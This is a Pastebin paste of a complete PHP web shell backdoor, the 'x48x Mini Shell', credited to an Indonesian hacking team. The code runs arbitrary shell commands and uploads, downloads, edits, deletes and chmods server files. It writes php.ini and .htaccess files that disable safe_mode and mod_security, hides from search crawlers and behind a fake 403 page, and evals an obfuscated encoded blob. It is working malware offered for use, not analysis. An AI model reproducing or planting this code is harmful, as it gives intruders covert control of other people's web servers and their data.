meiji488

Shell Mini x48x

Jan 7th, 2018
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.10 KB | None | 0 0
  1. <?php
  2.  
  3. ////////////////////////////////////////////////////////////////////////
  4. // x48x Mini Shell Backdoor
  5. // Recoded : _Tuan2Fay_
  6. // Version : 1.0
  7. // Team : Garuda Security Hacker
  8. // Site : https://blog.garudasecurityhacker.org
  9. // Facebook : https://www.facebook.com/gshofficialpageindonesia
  10. ////////////////////////////////////////////////////////////////////////
  11. session_start();
  12. error_reporting(0);
  13. set_time_limit(0);
  14. @set_magic_quotes_runtime(0);
  15. @clearstatcache();
  16. @ini_set('error_log',NULL);
  17. @ini_set('log_errors',0);
  18. @ini_set('max_execution_time',0);
  19. @ini_set('output_buffering',0);
  20. @ini_set('display_errors', 0);
  21. $auth_pass = "b35f8922ff1d54a5aff55a1d4107e245"; // pass : x48x
  22. $errorforbidden = $_SERVER['REQUEST_URI'];
  23. $color = "#00ff00";
  24. $default_action = 'FilesMan';
  25. $default_use_ajax = true;
  26. $default_charset = 'UTF-8';
  27. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  28. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  29. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  30. header('HTTP/1.0 404 Not Found');
  31. exit;
  32. }
  33. }
  34.  
  35. function login_shell() {
  36. ?>
  37. <?php
  38. $errorforbidden = $_SERVER['REQUEST_URI'];
  39. $crotnya = '<center><form style="display: none;" method="post"><input type="password" name="pass"></form></center>';
  40. ?>
  41. <html><head>
  42. <title>403 Forbidden</title>
  43. </head><body>
  44. <h1>Forbidden</h1>
  45. <p>You don't have permission to access <?php print $errorforbidden; ?>
  46. on this server.</p>
  47. <p>Additionally, a 404 Not Found
  48. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  49. </body></html>
  50. <?php print $crotnya; ?>
  51. <?php
  52. exit;
  53. }
  54. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  55. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  56. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  57. else
  58. login_shell();
  59. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  60. @ob_clean();
  61. $file = $_GET['file'];
  62. header('Content-Description: File Transfer');
  63. header('Content-Type: application/octet-stream');
  64. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  65. header('Expires: 0');
  66. header('Cache-Control: must-revalidate');
  67. header('Pragma: public');
  68. header('Content-Length: ' . filesize($file));
  69. readfile($file);
  70. exit;
  71. }
  72. ?>
  73. <?php
  74. if (file_exists("php.ini")){
  75. }else{
  76. $img = fopen('php.ini', 'w');
  77. $sec = "safe_mode = OFF
  78. disable_funtions = NONE";
  79. fwrite($img ,$sec);
  80. fclose($img);}
  81. if (file_exists(".htaccess")){
  82. }else{
  83. $img2 = fopen('.htaccess', 'w');
  84. $sec2 = "<IfModule mod_security.c>
  85. SecFilterEngine Off
  86. SecFilterScanPOST Off
  87. </IfModule>";
  88. fwrite($img2 ,$sec2);
  89. fclose($img2);}
  90. $inids = @ini_get("disable_functions");
  91. $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<b><font color='white'>Aman cuk :v</font></b>";
  92. if(get_magic_quotes_gpc()){
  93. foreach($_POST as $key=>$value){
  94. $_POST[$key] = stripslashes($value);
  95. }
  96. }
  97. echo '<!DOCTYPE HTML>
  98. <html>
  99. <head>
  100. <link href="" rel="stylesheet" type="text/css">
  101. <title>x48x</title>
  102. <style>
  103. body{
  104. font-family: "Racing Sans One", cursive;
  105. background-image: url("https://pbs.twimg.com/media/C4S23EeVYAESumU.jpg");
  106. color:purple;
  107. background-attachment:fixed;
  108. background-repeat:no-repeat;
  109. background-position:center;
  110. background-color:transparan;
  111. -webkit-background-size: 90% 100%;
  112. }
  113. #content tr:hover{
  114. background-color: pink;
  115. text-shadow:0px 0px 10px #fff;
  116. }
  117. #content .first{
  118. background-color: pink;
  119. }
  120. table{
  121. border: 1px #000000 dotted;
  122. }
  123. a{
  124. color:white;
  125. text-decoration: none;
  126. }
  127. a:hover{
  128. color:blue;
  129. text-shadow:0px 0px 10px #ffffff;
  130. }
  131. input,select,textarea{
  132. border: 1px #000000 solid;
  133. -moz-border-radius: 5px;
  134. -webkit-border-radius:5px;
  135. border-radius:5px;
  136. }
  137. </style>
  138. </head>
  139. <body>
  140. <h1><center><font color="pink">x48x Mini Shell</font></center></h1>
  141. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  142. <tr><td>';
  143. echo "Disable Functions: $liatds";
  144. echo '<br><font color="purple">Path :</font> ';
  145. if(isset($_GET['path'])){
  146. $path = $_GET['path'];
  147. }else{
  148. $path = getcwd();
  149. }
  150. $path = str_replace('\\','/',$path);
  151. $paths = explode('/',$path);
  152.  
  153. foreach($paths as $id=>$pat){
  154. if($pat == '' && $id == 0){
  155. $a = true;
  156. echo '<a href="?path=/">/</a>';
  157. continue;
  158. }
  159. if($pat == '') continue;
  160. echo '<a href="?path=';
  161. for($i=0;$i<=$id;$i++){
  162. echo "$paths[$i]";
  163. if($i != $id) echo "/";
  164. }
  165. echo '">'.$pat.'</a>/';
  166. }
  167. echo '</td></tr><tr><td>';
  168. if(isset($_FILES['file'])){
  169. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  170. echo '<font color="white">Upload Berhasil</font><br />';
  171. }else{
  172. echo '<font color="purple">Upload Gagal</font><br/>';
  173. }
  174. }
  175. echo '<form enctype="multipart/form-data" method="POST">
  176. <font color="purple">File Upload :</font> <input type="file" name="file" />
  177. <input type="submit" value="upload" />
  178. </form>';
  179. echo "<form method='post'>
  180. <font color='purple'>Command :</font>
  181. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  182. </form>
  183. </td></tr>";
  184. if($_POST['execmd']) {
  185. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
  186. }
  187. echo "<br></td></tr>";
  188. if(isset($_GET['filesrc'])){
  189. echo "<tr><td>Current File : ";
  190. echo $_GET['filesrc'];
  191. echo '</tr></td></table><br />';
  192. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  193. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  194. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  195. if($_POST['opt'] == 'chmod'){
  196. if(isset($_POST['perm'])){
  197. if(chmod($_POST['path'],$_POST['perm'])){
  198. echo '<font color="white">Change Permission Berhasil</font><br/>';
  199. }else{
  200. echo '<font color="purple">Change Permission Gagal</font><br />';
  201. }
  202. }
  203. echo '<form method="POST">
  204. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  205. <input type="hidden" name="path" value="'.$_POST['path'].'">
  206. <input type="hidden" name="opt" value="chmod">
  207. <input type="submit" value="Go" />
  208. </form>';
  209. }elseif($_POST['opt'] == 'rename'){
  210. if(isset($_POST['newname'])){
  211. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  212. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  213. }else{
  214. echo '<font color="purple">Ganti Nama Gagal</font><br />';
  215. }
  216. $_POST['name'] = $_POST['newname'];
  217. }
  218. echo '<form method="POST">
  219. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  220. <input type="hidden" name="path" value="'.$_POST['path'].'">
  221. <input type="hidden" name="opt" value="rename">
  222. <input type="submit" value="Go" />
  223. </form>';
  224. }elseif($_POST['opt'] == 'edit'){
  225. if(isset($_POST['src'])){
  226. $fp = fopen($_POST['path'],'w');
  227. if(fwrite($fp,$_POST['src'])){
  228. echo '<font color="white">Berhasil Edit File</font><br/>';
  229. }else{
  230. echo '<font color="purple">Gagal Edit File</font><br/>';
  231. }
  232. fclose($fp);
  233. }
  234. echo '<form method="POST">
  235. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  236. <input type="hidden" name="path" value="'.$_POST['path'].'">
  237. <input type="hidden" name="opt" value="edit">
  238. <input type="submit" value="Save" />
  239. </form>';
  240. }
  241. echo '</center>';
  242. }else{
  243. echo '</table><br/><center>';
  244. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  245. if($_POST['type'] == 'dir'){
  246. if(rmdir($_POST['path'])){
  247. echo '<font color="white">Directory Terhapus</font><br/>';
  248. }else{
  249. echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
  250. }
  251. }elseif($_POST['type'] == 'file'){
  252. if(unlink($_POST['path'])){
  253. echo '<font color="white">File Terhapus</font><br/>';
  254. }else{
  255. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  256. }
  257. }
  258. }
  259. echo '</center>';
  260. $scandir = scandir($path);
  261. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  262. <tr class="first">
  263. <td><center>Name</peller></center></td>
  264. <td><center>Size</peller></center></td>
  265. <td><center>Permission</peller></center></td>
  266. <td><center>Modify</peller></center></td>
  267. </tr>';
  268.  
  269. foreach($scandir as $dir){
  270. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  271. echo '<tr>
  272. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  273. <td><center>--</center></td>
  274. <td><center>';
  275. if(is_writable($path.'/'.$dir)) echo '<font color="pink">';
  276. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  277. echo perms($path.'/'.$dir);
  278. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  279.  
  280. echo '</center></td>
  281. <td><center><form method="POST" action="?option&path='.$path.'">
  282. <select name="opt">
  283. <option value="">Select</option>
  284. <option value="delete">Delete</option>
  285. <option value="chmod">Chmod</option>
  286. <option value="rename">Rename</option>
  287. </select>
  288. <input type="hidden" name="type" value="dir">
  289. <input type="hidden" name="name" value="'.$dir.'">
  290. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  291. <input type="submit" value=">">
  292. </form></center></td>
  293. </tr>';
  294. }
  295. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  296. foreach($scandir as $file){
  297. if(!is_file($path.'/'.$file)) continue;
  298. $size = filesize($path.'/'.$file)/1024;
  299. $size = round($size,3);
  300. if($size >= 1024){
  301. $size = round($size/1024,2).' MB';
  302. }else{
  303. $size = $size.' KB';
  304. }
  305.  
  306. echo '<tr>
  307. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  308. <td><center>'.$size.'</center></td>
  309. <td><center>';
  310. if(is_writable($path.'/'.$file)) echo '<font color="pink">';
  311. elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">';
  312. echo perms($path.'/'.$file);
  313. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  314. echo '</center></td>
  315. <td><center><form method="POST" action="?option&path='.$path.'">
  316. <select name="opt">
  317. <option value="">Select</option>
  318. <option value="delete">Delete</option>
  319. <option value="chmod">Chmod</option>
  320. <option value="rename">Rename</option>
  321. <option value="edit">Edit</option>
  322. </select>
  323. <input type="hidden" name="type" value="file">
  324. <input type="hidden" name="name" value="'.$file.'">
  325. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  326. <input type="submit" value=">">
  327. </form></center></td>
  328. </tr>';
  329. }
  330. echo '</table>
  331. </div>';
  332. }
  333. echo '<center><br/><font color="pink">x48x Mini Shell</font><br>';
  334. echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
  335. </center>
  336. </body>
  337. </html>";
  338.  
  339. $command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
  340. eval(str_rot13(gzinflate(str_rot13(base64_decode(($command))))));
  341. if($_GET['go'] == 'cabs') {
  342.  
  343.  
  344. echo '<form action="" method="post">';
  345. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  346. echo '<meta http-equiv="refresh" content="3" />';
  347. }
  348.  
  349. function perms($file){
  350. $perms = fileperms($file);
  351.  
  352. if (($perms & 0xC000) == 0xC000) {
  353. // Socket
  354. $info = 's';
  355. } elseif (($perms & 0xA000) == 0xA000) {
  356. // Symbolic Link
  357. $info = 'l';
  358. } elseif (($perms & 0x8000) == 0x8000) {
  359. // Regular
  360. $info = '-';
  361. } elseif (($perms & 0x6000) == 0x6000) {
  362. // Block special
  363. $info = 'b';
  364. } elseif (($perms & 0x4000) == 0x4000) {
  365. // Directory
  366. $info = 'd';
  367. } elseif (($perms & 0x2000) == 0x2000) {
  368. // Character special
  369. $info = 'c';
  370. } elseif (($perms & 0x1000) == 0x1000) {
  371. // FIFO pipe
  372. $info = 'p';
  373. } else {
  374. // Unknown
  375. $info = 'u';
  376. }
  377.  
  378. // Owner
  379. $info .= (($perms & 0x0100) ? 'r' : '-');
  380. $info .= (($perms & 0x0080) ? 'w' : '-');
  381. $info .= (($perms & 0x0040) ?
  382. (($perms & 0x0800) ? 's' : 'x' ) :
  383. (($perms & 0x0800) ? 'S' : '-'));
  384.  
  385. // Group
  386. $info .= (($perms & 0x0020) ? 'r' : '-');
  387. $info .= (($perms & 0x0010) ? 'w' : '-');
  388. $info .= (($perms & 0x0008) ?
  389. (($perms & 0x0400) ? 's' : 'x' ) :
  390. (($perms & 0x0400) ? 'S' : '-'));
  391.  
  392. // World
  393. $info .= (($perms & 0x0004) ? 'r' : '-');
  394. $info .= (($perms & 0x0002) ? 'w' : '-');
  395. $info .= (($perms & 0x0001) ?
  396. (($perms & 0x0200) ? 't' : 'x' ) :
  397. (($perms & 0x0200) ? 'T' : '-'));
  398.  
  399. return $info;
  400. }
  401. //////all functions disini tempatnya/////
  402. function exe($cmd) {
  403. if(function_exists('system')) {
  404. @ob_start();
  405. @system($cmd);
  406. $buff = @ob_get_contents();
  407. @ob_end_clean();
  408. return $buff;
  409. } elseif(function_exists('exec')) {
  410. @exec($cmd,$results);
  411. $buff = "";
  412. foreach($results as $result) {
  413. $buff .= $result;
  414. } return $buff;
  415. } elseif(function_exists('passthru')) {
  416. @ob_start();
  417. @passthru($cmd);
  418. $buff = @ob_get_contents();
  419. @ob_end_clean();
  420. return $buff;
  421. } elseif(function_exists('shell_exec')) {
  422. $buff = @shell_exec($cmd);
  423. return $buff;
  424. }
  425. }
  426. ?>
Add Comment
Please, Sign In to add comment